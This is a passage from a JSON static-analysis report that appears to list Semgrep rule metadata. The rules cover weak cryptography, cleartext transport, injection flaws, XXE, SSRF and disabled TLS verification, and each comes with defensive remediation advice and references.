bits"},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key","id":"go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key","name":"go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via Apache HTTP Components to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via Apache HTTP Components to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.http-components-request.http-components-request)\n - [https://hc.apache.org/httpcomponents-client-ga/quickstart.html](https://hc.apache.org/httpcomponents-client-ga/quickstart.html)\n","text":"Checks for requests sent via Apache HTTP Components to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.http-components-request.http-components-request","id":"problem-based-packs.insecure-transport.java-stdlib.http-components-request.http-components-request","name":"problem-based-packs.insecure-transport.java-stdlib.http-components-request.http-components-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.http-components-request.http-components-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using QUERY.count() instead of len(QUERY.all()) sends less data to the client since the SQLAlchemy method is performed server-side."},"help":{"markdown":"Using QUERY.count() instead of len(QUERY.all()) sends less data to the client since the SQLAlchemy method is performed server-side.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.performance.performance-improvements.len-all-count)\n","text":"Using QUERY.count() instead of len(QUERY.all()) sends less data to the client since the SQLAlchemy method is performed server-side."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.performance.performance-improvements.len-all-count","id":"python.sqlalchemy.performance.performance-improvements.len-all-count","name":"python.sqlalchemy.performance.performance-improvements.len-all-count","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.performance.performance-improvements.len-all-count"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input that is used respectively as system commands or command arguments."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input that is used respectively as system commands or command arguments.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-command-injection.tainted-command-injection)\n - [https://www.php.net/manual/en/function.eval](https://www.php.net/manual/en/function.eval)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input that is used respectively as system commands or command arguments."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-command-injection.tainted-command-injection","id":"php.lang.security.tainted-command-injection.tainted-command-injection","name":"php.lang.security.tainted-command-injection.tainted-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-command-injection.tainted-command-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-phantom-injection.express-phantom-injection)\n - [https://phantomjs.org/page-automation.html](https://phantomjs.org/page-automation.html)\n","text":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-phantom-injection.express-phantom-injection","id":"javascript.express.security.express-phantom-injection.express-phantom-injection","name":"javascript.express.security.express-phantom-injection.express-phantom-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-phantom-injection.express-phantom-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxreader-xxe.saxreader-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxreader-xxe.saxreader-xxe","id":"kotlin.xxe.saxreader-xxe.saxreader-xxe","name":"kotlin.xxe.saxreader-xxe.saxreader-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxreader-xxe.saxreader-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"IPv6Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'."},"help":{"markdown":"IPv6Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv6network1)\n","text":"IPv6Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv6network1","id":"python.lang.compatibility.python37.python37-compatibility-ipv6network1","name":"python.lang.compatibility.python37.python37-compatibility-ipv6network1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-ipv6network1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments."},"help":{"markdown":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.certificate.openssl-disabled-cert-validation.openssl-disabled-cert-validation)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.certificate.openssl-disabled-cert-validation.openssl-disabled-cert-validation","id":"cpp.lang.security.crypto.certificate.openssl-disabled-cert-validation.openssl-disabled-cert-validation","name":"cpp.lang.security.crypto.certificate.openssl-disabled-cert-validation.openssl-disabled-cert-validation","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","HIGH CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.certificate.openssl-disabled-cert-validation.openssl-disabled-cert-validation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for outgoing connections to ftp servers via Spring plugin ftpSessionFactory. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network."},"help":{"markdown":"Checks for outgoing connections to ftp servers via Spring plugin ftpSessionFactory. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.spring-ftp-request.spring-ftp-request)\n - [https://docs.spring.io/spring-integration/api/org/springframework/integration/ftp/session/AbstractFtpSessionFactory.html#setClientMode-int-](https://docs.spring.io/spring-integration/api/org/springframework/integration/ftp/session/AbstractFtpSessionFactory.html#setClientMode-int-)\n","text":"Checks for outgoing connections to ftp servers via Spring plugin ftpSessionFactory. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.spring-ftp-request.spring-ftp-request","id":"problem-based-packs.insecure-transport.java-spring.spring-ftp-request.spring-ftp-request","name":"problem-based-packs.insecure-transport.java-spring.spring-ftp-request.spring-ftp-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-spring.spring-ftp-request.spring-ftp-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SSL that will accept an unverified connection. This makes the connections susceptible to man-in-the-middle attacks. Use 'OpenSSL::SSL::VERIFY_PEER' instead."},"help":{"markdown":"Detected SSL that will accept an unverified connection. This makes the connections susceptible to man-in-the-middle attacks. Use 'OpenSSL::SSL::VERIFY_PEER' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.ssl-mode-no-verify.ssl-mode-no-verify)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Detected SSL that will accept an unverified connection. This makes the connections susceptible to man-in-the-middle attacks. Use 'OpenSSL::SSL::VERIFY_PEER' instead."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.ssl-mode-no-verify.ssl-mode-no-verify","id":"ruby.lang.security.ssl-mode-no-verify.ssl-mode-no-verify","name":"ruby.lang.security.ssl-mode-no-verify.ssl-mode-no-verify","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.ssl-mode-no-verify.ssl-mode-no-verify"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxtransformerfactory-xxe-servlet.tainted-saxtransformerfactory-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxtransformerfactory-xxe-servlet.tainted-saxtransformerfactory-xxe-servlet","id":"java.servlets.security.xxe.tainted-saxtransformerfactory-xxe-servlet.tainted-saxtransformerfactory-xxe-servlet","name":"java.servlets.security.xxe.tainted-saxtransformerfactory-xxe-servlet.tainted-saxtransformerfactory-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-saxtransformerfactory-xxe-servlet.tainted-saxtransformerfactory-xxe-servlet"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-xpath-stdlib.tainted-fastapi-xml-xpath-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"helpUri":"https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-xpath-stdlib.tainted-fastapi-xml-xpath-stdlib","id":"python.fastapi.xml.tainted-fastapi-xml-xpath-stdlib.tainted-fastapi-xml-xpath-stdlib","name":"python.fastapi.xml.tainted-fastapi-xml-xpath-stdlib.tainted-fastapi-xml-xpath-stdlib","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.xml.tainted-fastapi-xml-xpath-stdlib.tainted-fastapi-xml-xpath-stdlib"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"IPv4Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'."},"help":{"markdown":"IPv4Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv4network1)\n","text":"IPv4Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv4network1","id":"python.lang.compatibility.python37.python37-compatibility-ipv4network1","name":"python.lang.compatibility.python37.python37-compatibility-ipv4network1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-ipv4network1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Should not use md5 to generate hashes. md5 is proven to be vulnerable through the use of brute-force attacks. Could also result in collisions, leading to potential collision attacks. Use SHA256 or other hashing functions instead."},"help":{"markdown":"Should not use md5 to generate hashes. md5 is proven to be vulnerable through the use of brute-force attacks. Could also result in collisions, leading to potential collision attacks. Use SHA256 or other hashing functions instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.weak-hashes-md5.weak-hashes-md5)\n - [https://www.ibm.com/support/pages/security-bulletin-vulnerability-md5-signature-and-hash-algorithm-affects-sterling-integrator-and-sterling-file-gateway-cve-2015-7575](https://www.ibm.com/support/pages/security-bulletin-vulnerability-md5-signature-and-hash-algorithm-affects-sterling-integrator-and-sterling-file-gateway-cve-2015-7575)\n","text":"Should not use md5 to generate hashes. md5 is proven to be vulnerable through the use of brute-force attacks. Could also result in collisions, leading to potential collision attacks. Use SHA256 or other hashing functions instead."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.weak-hashes-md5.weak-hashes-md5","id":"ruby.lang.security.weak-hashes-md5.weak-hashes-md5","name":"ruby.lang.security.weak-hashes-md5.weak-hashes-md5","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.weak-hashes-md5.weak-hashes-md5"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Make sure that unverified user data can not reach `vm2`."},"help":{"markdown":"Make sure that unverified user data can not reach `vm2`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.vm2.security.audit.vm2-context-injection.vm2-context-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Make sure that unverified user data can not reach `vm2`."},"helpUri":"https://semgrep.dev/r/javascript.vm2.security.audit.vm2-context-injection.vm2-context-injection","id":"javascript.vm2.security.audit.vm2-context-injection.vm2-context-injection","name":"javascript.vm2.security.audit.vm2-context-injection.vm2-context-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.vm2.security.audit.vm2-context-injection.vm2-context-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements."},"help":{"markdown":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.security.sqlalchemy-sql-injection.sqlalchemy-sql-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.security.sqlalchemy-sql-injection.sqlalchemy-sql-injection","id":"python.sqlalchemy.security.sqlalchemy-sql-injection.sqlalchemy-sql-injection","name":"python.sqlalchemy.security.sqlalchemy-sql-injection.sqlalchemy-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.security.sqlalchemy-sql-injection.sqlalchemy-sql-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.mongoose-where-express.mongoose-where-express)\n - 